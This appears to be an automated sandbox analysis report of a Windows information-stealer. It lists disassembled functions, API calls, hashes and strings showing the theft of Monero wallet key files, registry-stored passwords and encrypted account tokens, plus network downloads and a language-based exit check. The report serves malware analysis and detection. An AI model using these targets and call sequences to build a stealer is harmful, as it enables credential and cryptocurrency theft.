Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 8677f552ec91dc9f91143c3af4e97e945c5798ed558c31b94e5294b68570b9b4
Instruction ID: ef6a1eddf86bd1631cd057f40ee39237046ed7072980bcc49c0505e12e608618
Opcode Fuzzy Hash: 8677f552ec91dc9f91143c3af4e97e945c5798ed558c31b94e5294b68570b9b4
Instruction Fuzzy Hash: 597125B6900208ABDB14EBE4DC96FEE7779FB58700F044598F605D7281EA34EB45CB92

Function 008A1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008A12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008A12B4
Part of subcall function 008A12A0: RtlAllocateHeap.NTDLL(00000000), ref: 008A12BB
Part of subcall function 008A12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008A12D7
Part of subcall function 008A12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008A12F5
Part of subcall function 008A12A0: RegCloseKey.ADVAPI32(?), ref: 008A12FF

lstrcat.KERNEL32(?,00000000), ref: 008A134F
lstrlen.KERNEL32(?), ref: 008A135C
lstrcat.KERNEL32(?,.keys), ref: 008A1377

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B8B60: GetSystemTime.KERNEL32(008C0E1A,01429D18,008C05AE,?,?,008A13F9,?,0000001A,008C0E1A,00000000,?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008B8B86

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 008A1465

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008A99EC
Part of subcall function 008A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008A9A11
Part of subcall function 008A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008A9A31
Part of subcall function 008A99C0: ReadFile.KERNEL32(000000FF,?,00000000,008A148F,00000000), ref: 008A9A5A
Part of subcall function 008A99C0: LocalFree.KERNEL32(008A148F), ref: 008A9A90
Part of subcall function 008A99C0: CloseHandle.KERNEL32(000000FF), ref: 008A9A9A

DeleteFileA.KERNEL32(00000000), ref: 008A14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 008A1335
wallet_path, xrefs: 008A1330
.keys, xrefs: 008A136B
\Monero\wallet.keys, xrefs: 008A138D

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: ed73b25cc48a5bc7a4de04cf69ddfa189fa52cf186c8561798495ccf52ba8901
Instruction ID: 603dc8d5720444cf84c198d7239fc9d7f036c708b399d550003a130dca709bc8
Opcode Fuzzy Hash: ed73b25cc48a5bc7a4de04cf69ddfa189fa52cf186c8561798495ccf52ba8901
Instruction Fuzzy Hash: 265145B1D5011967DB19EB64DC96FED733CFB54700F4041A8B60AE2191EE306B86CBA7

Function 008A75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008A72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 008A733A
Part of subcall function 008A72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008A73B1
Part of subcall function 008A72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 008A740D
Part of subcall function 008A72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 008A7452
Part of subcall function 008A72D0: HeapFree.KERNEL32(00000000), ref: 008A7459

lstrcat.KERNEL32(00000000,008C17FC), ref: 008A7606
lstrcat.KERNEL32(00000000,00000000), ref: 008A7648
lstrcat.KERNEL32(00000000, : ), ref: 008A765A
lstrcat.KERNEL32(00000000,00000000), ref: 008A768F
lstrcat.KERNEL32(00000000,008C1804), ref: 008A76A0
lstrcat.KERNEL32(00000000,00000000), ref: 008A76D3
lstrcat.KERNEL32(00000000,008C1808), ref: 008A76ED
task.LIBCPMTD ref: 008A76FB

Strings

: , xrefs: 008A764E

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 359ac526d954dc3d878cf5fe33a0d126d86f0777eed5cdbccca9b33386edebb0
Instruction ID: 608ffe7e61b32617f9d195b4607afb47047f2cd0633716147b02a374aa5dbdf5
Opcode Fuzzy Hash: 359ac526d954dc3d878cf5fe33a0d126d86f0777eed5cdbccca9b33386edebb0
Instruction Fuzzy Hash: F5311A71D00149DFDB08EBE8DC99EEE7778FB66301F144118F102EB691DA34A946DB62

Function 008B8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0142E740,00000000,?,008C0E2C,00000000,?,00000000), ref: 008B8130
RtlAllocateHeap.NTDLL(00000000), ref: 008B8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 008B8158
__aulldiv.LIBCMT ref: 008B8172
__aulldiv.LIBCMT ref: 008B8180
wsprintfA.USER32 ref: 008B81AC

Strings

%d MB, xrefs: 008B81A3
@, xrefs: 008B814D

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: b3d1bb72fc3c309ec1d9a72eb8405ca4ce809a8d40645bab26918b45a6a48fa4
Instruction ID: 13b7babff64258fd39b56a4c3262680befa601a5bf0342b551d5c6e48d6c7094
Opcode Fuzzy Hash: b3d1bb72fc3c309ec1d9a72eb8405ca4ce809a8d40645bab26918b45a6a48fa4
Instruction Fuzzy Hash: F521EAB1E44358ABDB10DFD8CC49FAEBBB8FB44B14F104619F615BB280D77869018BA5

Function 008A60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

Part of subcall function 008A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008A4839
Part of subcall function 008A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008A4849

InternetOpenA.WININET(008C0DF7,00000001,00000000,00000000,00000000), ref: 008A610F
StrCmpCA.SHLWAPI(?,0142F028), ref: 008A6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 008A618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 008A61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 008A61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008A620A
CloseHandle.KERNEL32(?,?,00000400), ref: 008A6249
InternetCloseHandle.WININET(?), ref: 008A6253
InternetCloseHandle.WININET(00000000), ref: 008A6260

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4dbf70ec81d2c6040e8f3648528304653b6d791da0349d1ef26c999888cf4c77
Instruction ID: b4952e40646099146010dfa590e7c6ddd598e18ba96521d16650f755deca1db1
Opcode Fuzzy Hash: 4dbf70ec81d2c6040e8f3648528304653b6d791da0349d1ef26c999888cf4c77
Instruction Fuzzy Hash: 605165B1900218ABEF24DFA4DC85BEE7778FB44705F108098B605E71C5EB746A85CF56

Function 008A72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 008A733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 008A73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 008A740D
GetProcessHeap.KERNEL32(00000000,?), ref: 008A7452
HeapFree.KERNEL32(00000000), ref: 008A7459
task.LIBCPMTD ref: 008A7555

Strings

Password, xrefs: 008A7401

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 91b6ac3a435d1193e4629993affeea9617ae97c3033c550f512c4a5ac8f492fd
Instruction ID: 05dd69e0d1458c61413453358154c1826963960248fe9f789955a2c7eac81213
Opcode Fuzzy Hash: 91b6ac3a435d1193e4629993affeea9617ae97c3033c550f512c4a5ac8f492fd
Instruction Fuzzy Hash: C0612BB5D0416C9BEB24DB54CC85BD9B7B8FF49300F0081E9E689A6541EB706BC9CFA1

Function 008ABA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

lstrlen.KERNEL32(00000000), ref: 008ABC9F

Part of subcall function 008B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008B8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 008ABCCD
lstrlen.KERNEL32(00000000), ref: 008ABDA5
lstrlen.KERNEL32(00000000), ref: 008ABDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 008ABBEB
AccountTokens, xrefs: 008ABABA
AccountTokens, xrefs: 008ABB49
AccountId, xrefs: 008ABCC4

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 5b03e7509f96d073cee0456ba278b82adfa7f75d4a2d9cdbcda11e5fc1672585
Instruction ID: 287823a35e116593494cc5ef109b88cbcb4249541353edacfb974a991a976a8f
Opcode Fuzzy Hash: 5b03e7509f96d073cee0456ba278b82adfa7f75d4a2d9cdbcda11e5fc1672585
Instruction Fuzzy Hash: 03B11F71910108ABDF18EBA4DD96EEE7738FF54300F404168F506E66A2EF346A49CB63

Function 008B6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 008B6774
ExitProcess.KERNEL32 ref: 008B67A5
ExitProcess.KERNEL32 ref: 008B67AF
ExitProcess.KERNEL32 ref: 008B67B9
ExitProcess.KERNEL32 ref: 008B67C3
ExitProcess.KERNEL32 ref: 008B67CD

Strings

*, xrefs: 008B678C

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5f880880dba1410df44d1344697dc5174ef1199599e2adcbb0f60362dee0d224
Instruction ID: 405a1ea71c04560ecf7f4b9653e8cc2a8ef9d7cc58df7186c07f44dae6195b93
Opcode Fuzzy Hash: 5f880880dba1410df44d1344697dc5174ef1199599e2adcbb0f60362dee0d224
Instruction Fuzzy Hash: F6F08275904289EFD344DFE0E94976C7B70FB14703F040298F609CA390EA746B52DB96

Function 008A4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 008A4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 008A4FD1
InternetOpenA.WININET(008C0DDF,00000000,00000000,00000000,00000000), ref: 008A4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 008A5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 008A5041
InternetCloseHandle.WININET(?), ref: 008A50B9
InternetCloseHandle.WININET(?), ref: 008A50C6

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 2b34c8a1efe39af4a3c1893976d3fd432c1ffaf8bf180ac99c01d3e9992b668e
Instruction ID: dd8cca0e6b7324769e3ae3ef8c7454f97c422684383987ec453efdcd2cae2765
Opcode Fuzzy Hash: 2b34c8a1efe39af4a3c1893976d3fd432c1ffaf8bf180ac99c01d3e9992b668e
Instruction Fuzzy Hash: DD31E4B4A0021CABDB20CF94DC85BDDB7B4FB48704F1081D9EB09A7281D7706AC68F99

Function 008B83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 008B8426
wsprintfA.USER32 ref: 008B8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 008B847B
RegCloseKey.ADVAPI32(00000000), ref: 008B848C
RegCloseKey.ADVAPI32(00000000), ref: 008B8499

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

RegQueryValueExA.ADVAPI32(00000000,0142E698,00000000,000F003F,?,00000400), ref: 008B84EC
lstrlen.KERNEL32(?), ref: 008B8501
RegQueryValueExA.ADVAPI32(00000000,0142E920,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,008C0B34), ref: 008B8599
RegCloseKey.ADVAPI32(00000000), ref: 008B8608
RegCloseKey.ADVAPI32(00000000), ref: 008B861A

Strings

%s\%s, xrefs: 008B844D

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
